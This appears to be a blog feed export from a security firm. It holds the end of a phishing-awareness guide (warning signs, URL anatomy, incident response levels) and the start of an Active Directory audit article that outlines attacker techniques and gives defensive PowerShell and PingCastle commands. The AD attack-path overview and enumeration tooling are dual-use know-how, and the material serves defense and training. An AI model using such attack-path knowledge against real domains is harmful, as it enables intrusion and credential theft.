&lt;p&gt;The combination of personalization and knowledge of internal processes is particularly dangerous: An email with the subject line “It’s me, your boss - please transfer funds to this account immediately” appears credible at first glance and exploits both pressure and authority. Scenarios like this happen every day.&lt;/p&gt;
&lt;p&gt;A single click on a manipulated link or attachment is enough to compromise sensitive data or grant access to entire systems.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;2-recognizing-phishing-emails-the-key-signs-checklist&quot;&gt;2. Recognizing Phishing Emails: The Key Signs (Checklist)&lt;/h2&gt;
&lt;p&gt;Despite increasing sophistication, there are five patterns that consistently give phishing emails away:&lt;/p&gt;
&lt;h3 id=&quot;sign-1-artificial-pressure&quot;&gt;Sign 1: Artificial Pressure&lt;/h3&gt;
&lt;p&gt;A strong indicator is artificially created time pressure. Phishing emails primarily revolve around the need for you to confirm data or accept new terms and conditions at short notice. The pressure is usually heightened by threats of cancellations or account closures if confirmation is not provided within 24 hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; No reputable company sets such short deadlines or requires consent in such a short time. The more time pressure is created in the text, the more likely it is a phishing email.&lt;/p&gt;
&lt;h3 id=&quot;sign-2-request-for-personal-data&quot;&gt;Sign 2: Request for personal data&lt;/h3&gt;
&lt;p&gt;A typical feature of phishing emails is the request for personal data. This isn’t just about your name and address, but usually also includes usernames, passwords, and other confidential information. In the worst-case scenario, they specifically ask for an online banking PIN or credit card numbers with security codes. You should also never send scanned ID cards without hesitation due to the risk of identity theft.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; Reputable providers do not request such data via email. If an email asks for this kind of personal information, it is almost always a phishing attempt.&lt;/p&gt;
&lt;h3 id=&quot;sign-3-manipulated-links&quot;&gt;Sign #3: Manipulated Links&lt;/h3&gt;
&lt;p&gt;There is essentially no phishing email that doesn’t attempt to redirect you to a manipulated site via an external link. Such sites are usually fake and sometimes include all the original logos - but they can be identified by the actual URL. Even if the company name is included there, the URL usually has unusual suffixes appended to it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; As a general rule, do not click on links or buttons in emails if you are not expecting such a message. On a mobile phone, you can press and hold a link to see where it actually leads - tapping it briefly will open the page immediately.&lt;/p&gt;
&lt;h3 id=&quot;sign-4-threats&quot;&gt;Sign 4: Threats&lt;/h3&gt;
&lt;p&gt;If you’re being threatened, something is definitely wrong. No legitimate company will threaten you - not even the tax office threatens, but merely issues a warning. Whenever specific threats are involved - account freezes, account deletions, legal consequences - it’s almost always a phishing email.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; Threats combined with time pressure are a clear red flag. Threats with no prior business relationship to the alleged sender are a red flag regardless.&lt;/p&gt;
&lt;h3 id=&quot;sign-5-fake-identities-and-legitimacy&quot;&gt;Sign 5: Fake Identities and Legitimacy&lt;/h3&gt;
&lt;p&gt;Phishing emails often contain many different logos and company names, even though they have nothing to do with the actual company. They use the correct fonts, logos, and colors - only the content seems off. Attackers pose as your boss, a colleague, or a business partner. The emails seem familiar because they include names you recognize. But if you take a closer look at the sender, you’ll often realize that the person behind the address isn’t who they claim to be.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; If an email comes from a supposedly familiar person or large company, but the request seems highly unusual, remain skeptical. When in doubt, check personally - through a channel you know, not via the number provided in the email.&lt;/p&gt;
&lt;h3 id=&quot;quick-checklist-how-to-spot-a-phishing-email&quot;&gt;Quick checklist: How to spot a phishing email&lt;/h3&gt;
&lt;p&gt;Ask yourself these three questions before taking action:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Do I personally know the sender, and does the address seem plausible?&lt;/li&gt;
&lt;li&gt;Does the subject line make sense, and were you expecting an attachment or link?&lt;/li&gt;
&lt;li&gt;Is pressure being applied, are you being asked for personal information, or are you being threatened?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you answer “No” to either of the first two questions or “Yes” to the third, treat the email as suspicious.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;3-recognizing-and-verifying-phishing-links&quot;&gt;3. Recognizing and Verifying Phishing Links&lt;/h2&gt;
&lt;p&gt;Understanding how a URL is structured is crucial for identifying phishing links. It’s worth learning this, as the structure of web addresses won’t change in the long term - regardless of whether the link is sent via an app, messenger, email, or another method.&lt;/p&gt;
&lt;p&gt;A URL consists of five components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Protocol&lt;/strong&gt; - specifies how the server communicates. &lt;code&gt;https&lt;/code&gt; (with &lt;code&gt;s&lt;/code&gt; for &lt;em&gt;secure&lt;/em&gt;) indicates SSL/TLS-encrypted communication; &lt;code&gt;http&lt;/code&gt; without &lt;code&gt;s&lt;/code&gt; transmits everything in plain text, including passwords.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subdomain&lt;/strong&gt; - appears before the actual domain, separated by a dot. It allows different services to be addressed under the same domain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain (Second-Level Domain)&lt;/strong&gt; - the core of the address, indicating which website you are on. A domain may only be assigned once per top-level domain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Top-Level Domain&lt;/strong&gt; - the highest level (e.g., &lt;code&gt;.de&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;). DENIC is responsible for &lt;code&gt;.de&lt;/code&gt;, and ICANN for &lt;code&gt;.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt; - indicates which part of a website is being accessed, similar to a folder structure.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The key trick with phishing links lies in the subdomain.&lt;/strong&gt; In the example &lt;code&gt;www.amazon.de.evil.com&lt;/code&gt;, &lt;code&gt;evil.com&lt;/code&gt; is the actual domain - &lt;code&gt;www.amazon.de&lt;/code&gt; is just the subdomain. If you’re not careful, you might easily mistake &lt;code&gt;evil.com&lt;/code&gt; for the path of the URL and end up on a page you didn’t intend to visit.&lt;/p&gt;
&lt;p&gt;AWARE7 has developed &lt;a href=&quot;https://phishing-erkennen.de/&quot;&gt;phishing-erkennen.de&lt;/a&gt;, a free tool that automatically breaks down URLs into their components. Simply paste the link, click “split” - and the real domain becomes immediately visible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Additional verification methods:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hover over the link&lt;/strong&gt; (Desktop): The actual destination address appears in the browser’s status bar before you click.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Long-press the link&lt;/strong&gt; (Mobile device): Displays the destination URL without opening the page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take browser warnings seriously:&lt;/strong&gt; Google Safe Browsing warns against known phishing websites in Chrome, Firefox, and Safari. Websites that repeatedly distribute malware are blocked by Google for up to 30 days.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;4-phishing-email-opened---what-to-do-immediate-actions&quot;&gt;4. Phishing email opened - what to do? (Immediate actions)&lt;/h2&gt;
&lt;p&gt;The level of risk varies depending on exactly what happened. Here is a clear breakdown:&lt;/p&gt;
&lt;h3 id=&quot;level-1-email-only-opened---low-risk&quot;&gt;Level 1: Email only opened - low risk&lt;/h3&gt;
&lt;p&gt;If you have only opened the phishing email, you are exposed to low to no risk. If the sender is unknown to the email program, images are often not loaded - thus, no connection is established between the user and the attacker. &lt;strong&gt;Action:&lt;/strong&gt; Permanently delete the email. Notify the IT department so that the email filter can be adjusted and the email is not forwarded to colleagues.&lt;/p&gt;
&lt;h3 id=&quot;level-2-images-loaded---low-risk&quot;&gt;Level 2: Images loaded - low risk&lt;/h3&gt;
&lt;p&gt;Clicking “Show images” establishes a connection to a server. These could also be invisible tracking pixels that notify the attacker that the email account is active. The attacker also receives information about the email client used and the IP address. &lt;strong&gt;Action:&lt;/strong&gt; Notify IT; do not load images from unknown senders in the future.&lt;/p&gt;
&lt;h3 id=&quot;level-3-link-clicked---medium-risk&quot;&gt;Level 3: Link clicked - medium risk&lt;/h3&gt;
&lt;p&gt;Even though modern browsers are well-secured, an attacker can now exploit additional attack vectors, such as executing code in the browser. Antivirus software detects such attacks - but not always reliably.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immediate actions:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Close the phishing website immediately if detected.&lt;/li&gt;
&lt;li&gt;Check whether files were downloaded unintentionally - if so, cancel the download and delete the file.&lt;/li&gt;
&lt;li&gt;Contact the IT department immediately.&lt;/li&gt;
&lt;li&gt;Consider whether sensitive information has already been entered.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;level-4-attachment-opened---high-risk&quot;&gt;Level 4: Attachment opened - high risk&lt;/h3&gt;
&lt;p&gt;Phishing attachments can be Word, PDF, or executable files. Document-based files may contain malicious code that is executed through security vulnerabilities in programs such as Microsoft Word or Adobe Acrobat Reader. Executable files can be executed directly without requiring a security vulnerability in external software. Some malware runs in the background and waits; others - such as ransomware - encrypt all data on the hard drive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immediate actions:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Disconnect the device from the network immediately.&lt;/li&gt;
&lt;li&gt;Change all passwords on a &lt;strong&gt;different&lt;/strong&gt; device - immediately.&lt;/li&gt;
&lt;li&gt;Contact IT experts to have the device examined.&lt;/li&gt;
&lt;li&gt;Only a complete reinstallation offers full security.&lt;/li&gt;
&lt;li&gt;Check backup status - is the latest backup up to date?&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;level-5-data-entered-on-a-phishing-site---extreme-danger&quot;&gt;Level 5: Data entered on a phishing site - extreme danger&lt;/h3&gt;
&lt;p&gt;This is the most dangerous scenario. The attacker now has full access to the account. Even two-factor authentication can be bypassed by entering data on the phishing site.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immediate actions - act faster than the attacker:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Change your password immediately on another device - don’t just add a character, but set a completely new password.&lt;/li&gt;
&lt;li&gt;Change the password everywhere else where the same or a similar password was used.&lt;/li&gt;
&lt;li&gt;Enable two-factor authentication if you haven’t already.&lt;/li&gt;
&lt;li&gt;For banking: use a secure TAN procedure and monitor account activity. The mTAN procedure via SMS should no longer be used.&lt;/li&gt;
&lt;li&gt;Contact your bank or service provider directly.&lt;/li&gt;
&lt;li&gt;If identity theft has occurred, file a police report.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;5-what-kind-of-damage-can-you-expect&quot;&gt;5. What kind of damage can you expect?&lt;/h2&gt;
&lt;p&gt;The range of potential damage is considerable:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Financial damage&lt;/strong&gt; occurs when attackers gain access to online banking or payment services. In BEC attacks, payment approvals are manipulated - a brief call to the boss or the accounting department that fails to come through can make an entire attack possible in the first place.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data loss and ransomware:&lt;/strong&gt; Attackers targeting internal systems often install Trojans that run in the background or ransomware that encrypts all existing data. In such cases, only a clean reinstallation offers complete security - provided a recent backup is available.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Identity theft:&lt;/strong&gt; Scanned IDs, login credentials, and personal information are traded on the dark web or used directly for further fraudulent activities. Between March 2016 and March 2017, researchers found over 25,000 tools in well-known underground forums used to collect account credentials - in addition to 788,000 records stolen via keyloggers and 12,000,000 via phishing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reputational damage:&lt;/strong&gt; Compromised accounts are used to launch further attacks on contacts. In a Facebook phishing campaign, stolen login credentials were checked fully automatically, and upon successful login, messages were immediately sent to the entire friends list - which made the campaign exceptionally successful.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;System Compromise:&lt;/strong&gt; A single attachment can cause malware to run in the background, waiting for the user to log in to relevant sites to steal credentials or redirect transactions.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;6-7-tips-for-phishing-defense-in-the-workplace&quot;&gt;6. 7 Tips for Phishing Defense in the Workplace&lt;/h2&gt;
&lt;h3 id=&quot;tip-1-enable-two-factor-authentication&quot;&gt;Tip 1: Enable two-factor authentication&lt;/h3&gt;
&lt;p&gt;Strong passwords are essential: long, with no personal references, and containing uppercase and lowercase letters, special characters, and numbers. When supplemented by a second factor - a smartphone or hardware key - login without this second factor is impossible. Even if a password is stolen through phishing, the account remains protected.&lt;/p&gt;
&lt;h3 id=&quot;tip-2-keep-email-addresses-private&quot;&gt;Tip 2: Keep email addresses private&lt;/h3&gt;
&lt;p&gt;Company email addresses should not appear on public websites or in social media profiles. Simple crawlers automatically scan websites for email addresses. Sharing email addresses only with those who need direct contact significantly reduces the risk of phishing.&lt;/p&gt;
&lt;h3 id=&quot;tip-3-plain-text-instead-of-html-emails&quot;&gt;Tip 3: Plain text instead of HTML emails&lt;/h3&gt;
&lt;p&gt;If security is a top priority, you should disable HTML emails. Plain text is usually perfectly sufficient. The advantage: No malicious code can hide in plain text. Plain text emails are more secure and ensure clearer communication.&lt;/p&gt;
&lt;h3 id=&quot;tip-4-avoid-public-wi-fi&quot;&gt;Tip 4: Avoid public Wi-Fi&lt;/h3&gt;
&lt;p&gt;Anyone going online via public Wi-Fi should avoid accessing secure systems or business emails. Attackers use public Wi-Fi networks to gain access to connected devices. If unavoidable, use a VPN.&lt;/p&gt;
&lt;h3 id=&quot;tip-5-do-not-click-on-links-in-emails&quot;&gt;Tip 5: Do not click on links in emails&lt;/h3&gt;
&lt;p&gt;Employees should be made aware that they should not click on any links in emails - and that they should not insert any links either. Any link in an email can be malicious: it can trigger malware downloads, redirect to a phishing website, or inject other harmful code. Links within emails should be strictly off-limits.&lt;/p&gt;
&lt;h3 id=&quot;tip-6-do-not-use-third-party-email-apps&quot;&gt;Tip 6: Do not use third-party email apps&lt;/h3&gt;
&lt;p&gt;Employees tend to check work emails using personal email programs. A strict policy prevents this. Third-party apps may have security vulnerabilities that make it easier for attackers to access emails.&lt;/p&gt;
&lt;h3 id=&quot;tip-7-clear-processes-for-financial-transactions&quot;&gt;Tip 7: Clear processes for financial transactions&lt;/h3&gt;
&lt;p&gt;Especially in SMEs: financial transactions are not approved via email alone. A quick call to the boss or the accounting department through a known channel - not the number provided in the email - can thwart an entire BEC attack. It’s better to double-check than to click too quickly.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;7-technical-protective-measures&quot;&gt;7. Technical Protective Measures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Keep email filters up to date:&lt;/strong&gt; Attackers come up with new methods every day to bypass email filters. IT teams should update filters regularly. No software can guarantee that no phishing emails will ever reach your inbox - but up-to-date filters block many of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implement multi-factor authentication (MFA) company-wide:&lt;/strong&gt; Technology does not replace vigilance, but it does reinforce it. Spam filters block many standard attacks; secure email gateways analyze suspicious content. MFA remains one of the most effective technical safeguards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use browser protection:&lt;/strong&gt; Google Safe Browsing blocks known phishing websites in Chrome, Firefox, and Safari. Websites that repeatedly deliver malware are blocked for up to 30 days. Users should not ignore or bypass browser warnings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make URL analysis routine:&lt;/strong&gt; The tool &lt;a href=&quot;https://phishing-erkennen.de/&quot;&gt;phishing-erkennen.de&lt;/a&gt; automatically breaks down URLs into their components - protocol, subdomain, domain, top-level domain, and path. This provides certainty before a link is clicked.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Antivirus Software and Endpoint Security:&lt;/strong&gt; Antivirus programs can detect and block malicious code in attachments - but not always reliably. They are an important layer of defense, but they do not replace trained employees.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;8-the-role-of-security-awareness&quot;&gt;8. The Role of Security Awareness&lt;/h2&gt;
&lt;p&gt;People remain the most important line of defense - and at the same time the biggest vulnerability. In the daily work routine, there isn’t always time to scrutinize every email. A quick glance at the subject line, a scan of the formatting: You quickly form a rough impression - which professional phishing emails specifically exploit.&lt;/p&gt;
&lt;p&gt;The Japanese safety method &lt;strong&gt;“Pointing and Calling”&lt;/strong&gt; (Japanese: &lt;em&gt;Shisa kanko&lt;/em&gt;) demonstrates how conscious action prevents errors: In Japanese rail transport, train drivers point to everything that is important for their work and speak aloud what they see. This reduced the error rate in Japanese rail transport by 85%. AWARE7 has conducted a study on how this method can be applied to the detection of phishing emails - actively and aloud identifying the sender’s address, links, and requests significantly sharpens conscious awareness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What constitutes effective security awareness:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Training sessions and workshops&lt;/strong&gt; not only impart knowledge but also train attention in real-life situations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;Phishing simulations&lt;/a&gt;&lt;/strong&gt; are particularly effective: employees find fake emails in their inboxes and thus practice for a real emergency. Those repeatedly confronted with such tests develop a routine for handling suspicious messages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Security awareness training&lt;/a&gt;&lt;/strong&gt; sensitizes teams to the psychological tricks behind phishing - emotional manipulation through urgency or authority, fake identities, and technical deceptions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regular repetition&lt;/strong&gt; is crucial. Security awareness does not develop on its own: It grows through practice, experience, and regularly refreshing knowledge. Phishing methods and deception strategies are constantly evolving.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When teams learn to interpret warning signs and actively report suspicious situations, information security becomes an integral part of the corporate culture. The awareness that it can happen to anyone makes it easier for employees to report immediately when in doubt - rather than hiding the mistake.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;9-faq&quot;&gt;9. FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Is it dangerous just to open a phishing email?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you only open the email in your email program without loading images, clicking links, or opening attachments, the risk is low to nonexistent. Delete the email and notify your IT department.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What should I do if I clicked on a phishing link?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Close the webpage immediately. Check whether any files were downloaded unintentionally - if so, cancel and delete them. Notify the IT department and consider whether any sensitive information has already been entered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I entered my password on a phishing website. What now?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Change your password immediately on a different device - choose a completely new password; don’t just add a character. Also change the password everywhere you’ve used a similar one. Then enable two-factor authentication.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How can I spot phishing links on my smartphone?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Press and hold the link (a long press instead of a quick tap). This shows where the link actually leads - without opening the page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the difference between phishing, spear phishing, and BEC?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mass phishing casts a wide net; all wording is kept general. Spear phishing targets specific individuals using personal details. Business Email Compromise (BEC) specifically manipulates business processes such as payment approvals by using information about internal procedures and contacts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does HTTPS protect against phishing?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No. HTTPS only means that the connection to the website is encrypted - not that the website itself is legitimate. Phishing sites can also use HTTPS. The domain remains the decisive verification criterion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why do even experienced employees fall for phishing?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the day-to-day work routine, there isn’t always time to scrutinize every email. Professional phishing emails are linguistically flawless, personalized, and specifically target emotional triggers such as urgency and authority. It’s like April Fools’ jokes: You know they exist, and yet you sometimes fall for them anyway - you only have to believe it once to become a victim.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What specific steps can companies take to reduce the risk?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Seven measures are most effective when combined: implement two-factor authentication, keep email addresses private, disable HTML emails, avoid public Wi-Fi, never click on links in emails, do not use third-party email apps, and establish clear processes for financial transactions. Supplemented by regular &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;phishing simulations&lt;/a&gt; and &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;security awareness training&lt;/a&gt;, this creates a robust defense.&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Active Directory Security Audit: Find and Close Attack Paths in AD</title><link>https://a7.de/en/blog/active-directory-security-audit-finding-and-closing-attack-paths/</link><guid isPermaLink="true">https://a7.de/en/blog/active-directory-security-audit-finding-and-closing-attack-paths/</guid><description>Active Directory is the most common target of corporate attacks - whoever controls AD controls everything.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;We&apos;ve been compromised - the attacker had Domain Admin privileges.&quot; This is the conclusion of most Windows network compromises. Active Directory isn&apos;t just the heart of the Windows infrastructure - it&apos;s the primary target. An attacker who gains Domain Admin privileges controls all systems, all passwords, and all data across the entire Windows environment.&lt;/p&gt;
&lt;h2 id=&quot;why-ad-is-the-preferred-target&quot;&gt;Why AD Is the Preferred Target&lt;/h2&gt;
&lt;p&gt;Domain Admin is the master key: whoever possesses it can administer all Windows systems in the domain, extract all hashes from NTDS.DIT (DCSync), create Kerberos tickets for any account (Golden Ticket), and exploit trusts to other domains (Forest Compromise).&lt;/p&gt;
&lt;p&gt;The numbers speak for themselves: 80% of all incidents used Active Directory as an entry point or a path to Domain Admin. According to CrowdStrike, the average time from initial compromise to gaining Domain Admin privileges is just 1.5 hours. The most common attack vectors are Kerberoasting (60%), LLMNR Poisoning (50%), and AS-REP Roasting (30%).&lt;/p&gt;
&lt;p&gt;The typical AD attack lifecycle follows a clear pattern:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Initial Access (phishing, exploit)&lt;/li&gt;
&lt;li&gt;Local Privilege Escalation (local admin)&lt;/li&gt;
&lt;li&gt;Credential Harvesting (Mimikatz, LSASS)&lt;/li&gt;
&lt;li&gt;Lateral Movement (Pass-the-Hash, Pass-the-Ticket)&lt;/li&gt;
&lt;li&gt;Domain Privilege Escalation (Kerberoasting, AS-REP, DCSync)&lt;/li&gt;
&lt;li&gt;Persistence (Golden Ticket, DCSync Backdoor, Skeleton Key)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;phase-1-audit-preparation-and-scoping&quot;&gt;Phase 1: Audit Preparation and Scoping&lt;/h2&gt;
&lt;p&gt;An AD audit covers the following core objects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domain Structure:&lt;/strong&gt; Number of domains, trusts, functional levels&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privileged Accounts:&lt;/strong&gt; Domain Admins, Enterprise Admins, Schema Admins, Account Operators&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kerberos Configuration:&lt;/strong&gt; Encryption types, delegation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Policies:&lt;/strong&gt; Length, complexity, history, lockout&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPOs:&lt;/strong&gt; Critical GPO configurations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LDAP Configuration:&lt;/strong&gt; LDAP signing, LDAP channel binding&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service Accounts:&lt;/strong&gt; SPNs, password age, permissions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inactive Accounts:&lt;/strong&gt; Users/computers inactive for &amp;gt; 90 days&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Admin Accounts:&lt;/strong&gt; LAPS implemented?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following tools are available for the audit:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;







































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tool&lt;/th&gt;&lt;th&gt;Purpose&lt;/th&gt;&lt;th&gt;Cost&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;BloodHound + SharpHound&lt;/td&gt;&lt;td&gt;Attack path visualization&lt;/td&gt;&lt;td&gt;Free&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PingCastle&lt;/td&gt;&lt;td&gt;AD Healthcheck Score&lt;/td&gt;&lt;td&gt;Free&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Semperis Purple Knight&lt;/td&gt;&lt;td&gt;Free AD Assessment Tool&lt;/td&gt;&lt;td&gt;Free&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Microsoft Defender for Identity&lt;/td&gt;&lt;td&gt;Real-time detection of AD attacks&lt;/td&gt;&lt;td&gt;License required&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ADACLScanner&lt;/td&gt;&lt;td&gt;ACL analysis for all AD objects&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PowerView (PowerSploit)&lt;/td&gt;&lt;td&gt;AD enumeration (for testers)&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;PingCastle is ideal for a quick assessment: After downloading from pingcastle.com, running &lt;code&gt;pingcastle.exe --healthcheck --server dc01.company.com&lt;/code&gt; generates an HTML report with a score from 0 to 100 (100 = best result) and prioritized findings in the categories Privileged Accounts, Trusts, and Account Anomalies.&lt;/p&gt;
&lt;h2 id=&quot;phase-2-analyze-privileged-accounts&quot;&gt;Phase 2: Analyze Privileged Accounts&lt;/h2&gt;
&lt;p&gt;The following PowerShell command lists all Domain Admins along with their relevant attributes:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Get-ADGroupMember&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Domain Admins&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Recursive &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Get-ADUser&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Properties LastLogonDate&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; PasswordLastSet&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enabled &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Select-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Name&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; SamAccountName&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; LastLogonDate&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                PasswordLastSet&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enabled &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Sort-Object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; LastLogonDate&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following findings are critical during the analysis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More than 5 members in the Domain Admins group (Best Practice: max. 2-3 genuine DA accounts)&lt;/li&gt;
&lt;li&gt;DA accounts with passwords older than 90 days&lt;/li&gt;
&lt;li&gt;DA accounts without a LastLogonDate (never used, but active)&lt;/li&gt;
&lt;li&gt;DA accounts used as mailbox accounts (spear-phishing risk)&lt;/li&gt;
&lt;li&gt;DA accounts used daily for normal work&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Enterprise Admins and Schema Admins groups should generally be empty. Enterprise Admins are only temporarily populated during forest changes, and Schema Admins only during schema extensions.&lt;/p&gt;
